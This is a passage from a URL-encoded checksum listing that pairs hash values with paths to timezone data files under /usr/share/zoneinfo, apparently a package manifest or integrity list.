share%2Fzoneinfo%2Fposix%2FMideast%2FRiyadh87%0Acf8b8ee77acd84e79cb663396b72b1f5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FEnderbury%0A908765c9c1a082d518c528a7a2e99bea%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FApia%0Aa46dfbbf2699ea24c2f2a24591af927c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FEfate%0Ab7ec1a9e76e70712de3467696dab9827%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FFunafuti%0Aac65a8fc478c8b251e565dfeef48a165%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FFakaofo%0A02e000a2c60e2f218005fc881d914b04%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FFiji%0A5453a9b23a53d9dbc4fbafbfc00a5b66%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FPort_Moresby%0A4d1e72203c65e5286d73247fd4b770e5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FGalapagos%0Ae9f45cd19181a0b9fd925eb76d3b68fe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FGuadalcanal%0A781c64db5da51ed2a8af9b0288a81d71%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FGuam%0Af8396ef2ee186ffeedea71dea3d365c9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FJohnston%0A2f2b4906aefd76376a5a74c716e47e96%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FKiritimati%0Abd4a00e972fb4129e8da5c9d276fcd6d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FKosrae%0A175961b6f4197f574696de9efe66b151%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FMajuro%0A40cab80dea39f28162c605450d2c20f9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FMarquesas%0A07d9a863c9a7f4fe60f374b54b94d827%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FMidway%0A48114cd7aecba8fd6579733621a8efa6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FNauru%0Aa33ec92471e2c5be3e4de7fa3f91a8ac%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FNiue%0A8b4fb04f78a766ff9279fb6167a86276%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FNorfolk%0A3a046d3b7e690b85b8fb37438e792767%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FNoumea%0A439646ae0d40eb4f79e4fb862f5c8235%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FPalau%0A76a122df837ebaf51f0534a968234c65%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FPonape%0Aeeb45f6c2811b0f031ce72edbb432451%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FSamoa%0A90a2152b7ee36632918fe557392c3b5a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FRarotonga%0Adbb8906b85fe8771242d2039633fa2c9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FSaipan%0A55763a3e3be9d03118f10afc4817dddc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FTahiti%0Abfd34314baf263e2c5b250cc63a71eea%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FTarawa%0A442bbe469f877df95e0b0b1e62f0d7b0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FTongatapu%0A4acb57708aa158ffcba514c33051fb90%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FTruk%0A045bd8ec51bf5413356d28ce81400e2f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FWake%0Ad1274e9c574383efa60311ca942938e3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FWallis%0Aa4a3e0390ca7284ee6f824d298fd1966%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FYap%0Adcd1092bffe3f9b8a6ac33af5d123980%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FPitcairn%0A7ecfca2bf9dbbbe64cdfea5a0922a397%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FAuckland%0Aeeb45f6c2811b0f031ce72edbb432451%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FPago_Pago%0A2336932dd6d10aae3279a57c409d80d9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FGambier%0Aea6cf32968686490023b81cecb6a7c13%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FChatham%0A678f42d72b213b0ac6bb666a77430e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FKwajalein%0Aef02ff0df83fbe3094052fda06e2eff1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FHonolulu%0Adfad9062c5a29d6a54c32852b91d7e32%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPacific%2FEaster%0Adcd1092bffe3f9b8a6ac33af5d123980%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FPST8%0A2336932dd6d10aae3279a57c409d80d9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FYST9%0Aef02ff0df83fbe3094052fda06e2eff1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FHST10%0A02af1835231f2a553a197fcbd19e17b5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FCST6%0Ada099ecaed47e4a0f009ec57952b5012%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FAST4%0A69a4d1d6d3b26e01b5219836a38fceb6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FMST7%0A4894d160f97e824d37378342cfe73ff0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FEST5EDT%0A7c7836c1a47b82d402e88495c6001abf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FPST8PDT%0A6a2961ab6cf33a142ad90288f51c5745%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FAST4ADT%0Ac818af9bc4fd2363f4a4feff953356c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FEST5%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FMST7MDT%0A15dfb869e437999666a9ad37b8df71fb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FCST6CDT%0A796ec755d701a523eedf5115047d35a2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSystemV%2FYST9YDT%0Aa83da9b3c2bf9c09b2a7af3ce954c0a1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FIndiana-Starke%0Aeeb45f6c2811b0f031ce72edbb432451%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FSamoa%0Aef02ff0df83fbe3094052fda06e2eff1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FHawaii%0A69a4d1d6d3b26e01b5219836a38fceb6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FArizona%0A4894d160f97e824d37378342cfe73ff0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FEastern%0A7c7836c1a47b82d402e88495c6001abf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FPacific%0Ac818af9bc4fd2363f4a4feff953356c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FEast-Indiana%0Ae2ff9c7814832a4da88882f5900bdc79%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FMichigan%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FMountain%0A15dfb869e437999666a9ad37b8df71fb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FCentral%0A796ec755d701a523eedf5115047d35a2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FAlaska%0A29cf4e2028b63259193fff5581cfe613%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUS%2FAleutian%0Aea6cf32968686490023b81cecb6a7c13%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FNZ-CHAT%0A67057dba8db072f6d35a232bc314e9c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FWET%0A678f42d72b213b0ac6bb666a77430e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FKwajalein%0A7ecfca2bf9dbbbe64cdfea5a0922a397%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FNZ%0A7682d3e8540273adbb7ee35f52948e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPoland%0Aef02ff0df83fbe3094052fda06e2eff1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FHST%0A645f002c9d89a0c81ab6320d399f9618%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPortugal%0Ac4f28389191f01c90e1e748ab4960350%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FW-SU%0A4c9f9c5c5f86bcc5465c08831ef59e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FGB-Eire%0A4c9f9c5c5f86bcc5465c08831ef59e75%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FGB%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FGMT%2B0%0A9bd0933136f45090855cdd09c1be16c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUniversal%0A9bd0933136f45090855cdd09c1be16c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FZulu%0A58509d20328588b047b8af8673e9c3ad%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUCT%0A9bd0933136f45090855cdd09c1be16c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FUTC%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FNavajo%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FGMT-0%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FGMT0%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FGreenwich%0A1f0a6164226fe99d3297d897c0a81c0f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEire%0A0edd969f5dd7cc3d1da58a35bb5f2dfd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIran%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FGMT%0A7e6686b4e68a68f5088d7b6784598dc6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIceland%0Ab8f0d6d105e1b12534a365119d01ccad%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FJapan%0A2cb7700780c8b4963f72c9dab967cffa%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FROC%0A742c2406b041ed40406094ab73c83e43%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FSingapore%0A7f6b70f5f9d91b58b5d56c6a35faefb2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPRC%0A49b064a11f619899d63d1cc455406995%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FROK%0A1802f2356ef48ea41a88eb350a030db7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FIsrael%0A84690d9f97e356c7c9138ac2a0781761%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FTurkey%0A69576b56ab708dbaeb70a132265f273c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FHongkong%0A69a4d1d6d3b26e01b5219836a38fceb6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FMST%0A4894d160f97e824d37378342cfe73ff0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEST5EDT%0A7c7836c1a47b82d402e88495c6001abf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FPST8PDT%0A598c3e5fa32cfd9ff03842dc3fc937e1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FJamaica%0A17cd6157d9f7ee497b854cb492b74401%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCuba%0Ac818af9bc4fd2363f4a4feff953356c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEST%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FMST7MDT%0A15dfb869e437999666a9ad37b8df71fb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FCST6CDT%0A18167cde0c74d2c43a91e5945eb83548%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FLibya%0Aebb72fd701bded8af364ddb97343095d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FEgypt%0Aec5e2d9779b8249a64268b15b1339576%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FAddis_Ababa%0Acf4afe80b340829e63e15d859fa59ada%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FAbidjan%0Aa66ede3a750ac55ca3289548f95a57ba%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FAccra%0Afe2c364c32bb15d5d26c555ad79cfe75%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FBlantyre%0A0259512dc9fb11a36f0337c09f606b36%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FAlgiers%0Aec5e2d9779b8249a64268b15b1339576%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FAsmera%0A43018ed0d6c5b7a44dd9ae4e8be0acf9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FBamako%0A5057ff7386be1dba2d0cc2070dafd64f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FBangui%0Af2e89cc0ed26a21f7c0b678fede7668b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FBanjul%0A8f58c9b5f0abbc9f5fbd05e4ac457458%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FBissau%0A8ee02bd20d3a2343cf72665e5bc9cc5f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FDar_es_Salaam%0Ae4fb3f6b84fb5d4da3fd58ede47b61d4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FBrazzaville%0A27d9217aea2d77c99a8120d3f450621e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FBujumbura%0Ac49cf8125bc3d1c801fb53312e09a326%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FCasablanca%0A40eacb756e1853f1a2e4b16a5729e4be%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FCeuta%0A55a96f871ab94112e723da9020bb4e66%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FConakry%0Ac4b8aa1db741643d4562b938ac52be2c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FDakar%0Af4a9aa263de5b6a96279124b26c7cde6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FJohannesburg%0A66ca58bd2dc5b5e5b109d9ef5d301b0b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FDjibouti%0Ad502a7e0d2c8e43c00f96ebff498baaa%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FDouala%0Ade54e0e9aca24e5981948f639a5f0bfc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FEl_Aaiun%0A5f4421b8393ed7e11119b515a568a230%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FFreetown%0Aa8121a23b6617887b8306ac96bcac467%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FGaborone%0A59b5cb59d6a0ca5533f973d1a5cb174c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FHarare%0A0f711bbffcb49bd0ac0dfe3ba7cf782f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FKhartoum%0A42627a59f4fb5d59bc26fb2fb0e78286%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FKampala%0Aa612826976d2e3170268b6a42911650c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FKinshasa%0A479e73b89f532fc7ca539479555d602e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FKigali%0Aff1e557a01c1379447afcc02ed8a1577%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FLibreville%0A0dabfcf8a9f20fc615947aeef3d7aed8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FLagos%0A27d9217aea2d77c99a8120d3f450621e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FLubumbashi%0A33e6169e1bd7173385fb603a122bd8b2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FLome%0A162010d02ae9c4e5b23c745f9d5e8133%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FLuanda%0A3dbd045ae0f4f4ff0e1909bc5f13d89d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FMogadishu%0Acdd587e1d2bd9f2c177619635e93f0b3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FLusaka%0Aff86f2726e0efe5e6224de883f233739%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FMalabo%0A578326d0b15cb42eb5ecda017f8b80cb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FMaputo%0Abb79d50bce8721c82231c1ef1dfdf74b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FMaseru%0A371c0b574a866027bfcbace6a497b3f5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FMbabane%0A72a67fc2561d17e4ff7fb675e1a90433%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FMonrovia%0A99dea003b74142bb4f4f01fa5fdfbdc6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FNairobi%0A40157f7dae3019cb940393d611c237ec%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FNdjamena%0A8d976c75eb8ba118735d071184af75bf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FNiamey%0A18dba4f6974bd2e6b7552f0922cb15b6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FNouakchott%0A8778db8c17ade323688358f3d4542296%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FOuagadougou%0Afb246385cd98f8d821987833f8e9a3df%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FPorto-Novo%0Aab5b4d63d9f2bcbf28d0132d42b66103%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FSao_Tome%0A6a309ee9d6ee0ee26896beb07a3dd5be%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FTimbuktu%0A00e636d0acbd2f62d8103d78abdcc07b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FTunis%0Add7017696cf6f5cfd13a381aef4d5bce%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FWindhoek%0A948b767c4cfce975cdfb323e2e193eae%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FTripoli%0A9b0beb7dc758ccd9791e2e9ec5d1ca55%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAfrica%2FCairo%0A00613f19e55394deb64d39bec257ddf4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FBuenos_Aires%0Acf1d9e528e0ed21eefe2cbca112821ca%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FAnguilla%0A408e54211d7193a676a32d0eef1d69f7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FAntigua%0A8c3a089c330de329626c6ce4a17fb2d3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FAraguaina%0Afc1a2ec905fdbd806247bfa0a63a3b9a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FAruba%0A179dc319c53ea6392ec62703ce0d5949%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FAsuncion%0Ab7444d44f60d464d750acc7b9124e0eb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FBarbados%0Af34a7f2b7ba4c08b87dba90e2a98d811%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FBelem%0A948a98d19748df240b65a8c23d31f280%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FBelize%0Af89c7609b37ecde96caaa7b1e82e54d9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FBoa_Vista%0A700746543f42889af127542589d92104%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FBogota%0A5e79e642b0d1642a3019f2f5f3a14b9b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FBoise%0Ad21deed9db74eee4c0347ce69c58e753%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FIndiana%2FIndianapolis%0A345255ad1775fa3e98a4b5a436e017c9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FIndiana%2FMarengo%0Ae1de77dafceb0906ffb19df0842fc5a7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FIndiana%2FVevay%0A8a49ad369d61586970608d44590b989a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FIndiana%2FKnox%0A49d94f1ebfe1d283d3b72c344db0d166%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FInuvik%0A626a0fc23bfc281dca75d311f8e34fdd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCambridge_Bay%0Ad53fe273ae0140204d8ecc3ca5fdb6cb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCancun%0Ae556c75dd2f152c7d9905d8f9dcde2ae%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCaracas%0A57f0a429e2f2f5be5704636b903f87ec%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCatamarca%0Ae905b7f8cf0da1762473733a09d564d9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCayenne%0A4f9cce70f2c5305f1597006ec7c4491c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCayman%0A8f05b3a0576c7110d4fca12a9ea448d7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FChihuahua%0Ab761a40dc6327bf43369ce5e434df488%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCordoba%0A829546e8106e438a43ae9330b9724cfd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCosta_Rica%0Aaf0df342fe65766d02b4c3fa1f5294bc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCuiaba%0A5e27e4827b7364fada0912db393a53c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FCuracao%0A84872ae0c9f22daa1676b31f2fb07212%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FDawson%0Ab52d8012613425cb158517c6c14b3157%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FDawson_Creek%0Ab945b91cf7c0af96972d51fc57f40494%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FDominica%0Af1ddec99d85790e4287ddd9af37885ca%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FEirunepe%0A52730eb69bf067cb75a86092e78a9979%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FEl_Salvador%0A3fdafa4583c28ab22502c5bfc7554f8c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FFortaleza%0Ae1174be13a670b607b0fb38d06fbc933%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FGlace_Bay%0A1efa54a9354198b257921cbac6072611%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FGodthab%0Ac864a2b4ac04875cf531997a8cb959fd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FGoose_Bay%0A37473f548c3f27ec2eeefd7c20dbd48a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FGrand_Turk%0A7108adfd747e47b4b3443495b29cc3d8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FGrenada%0A676afa1830dfb4e68289e85b50e9ec28%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FGuadeloupe%0Adcaad6dcc6273f16761d9f233f7fb253%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FGuatemala%0Ab5278a2ce1a16de554fce2461a958ffc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FGuayaquil%0A37ef1200b5fe7076eba16d977f9d49c7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FGuyana%0A3b09790ac006a4134ba485eddd01f18e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FHermosillo%0A237a0f26ad8240ca4435a57fcc21fb32%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FKentucky%2FMonticello%0A62e8a0b15d5d46982a26c700c328dd68%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FKentucky%2FLouisville%0A6702622451a950edcb6f4924df0670e5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FIqaluit%0A6d8786d402f1d8c24fee8efca0f78b9d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FJujuy%0Aabcbe1da5cb4d07cca09c9dcbebd150f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FJuneau%0A09871c8f11f6ac4723006551f653ffc7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMartinique%0Ae28ca9ccf34b38a933950f8db3298dd2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FLa_Paz%0Acb34a246739f3c6f0ea48e6929b82d82%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FLima%0A83033afd3ffd442842fedf187715f7f3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMaceio%0A71d9490b2732894e72ec40058f945ddf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FManagua%0A3721f8412de69c9af9796bae7fd95449%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMenominee%0A9bd39815000f85ededda7ed7c82f47f5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMendoza%0A8b4dda3142ba51cc421f2dd61d0acb2b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMiquelon%0A2e07b73930caebee30cd2da26b0501db%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FMerida%0A3a9f556eaf5a394d22b8565a86010d28%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fright%2FAmerica%2FPort-au-Prince%0A6ec30c4c10e83427a344f600a3534e9f%20%20%2Fusr%2Fshare%2Fzoneinf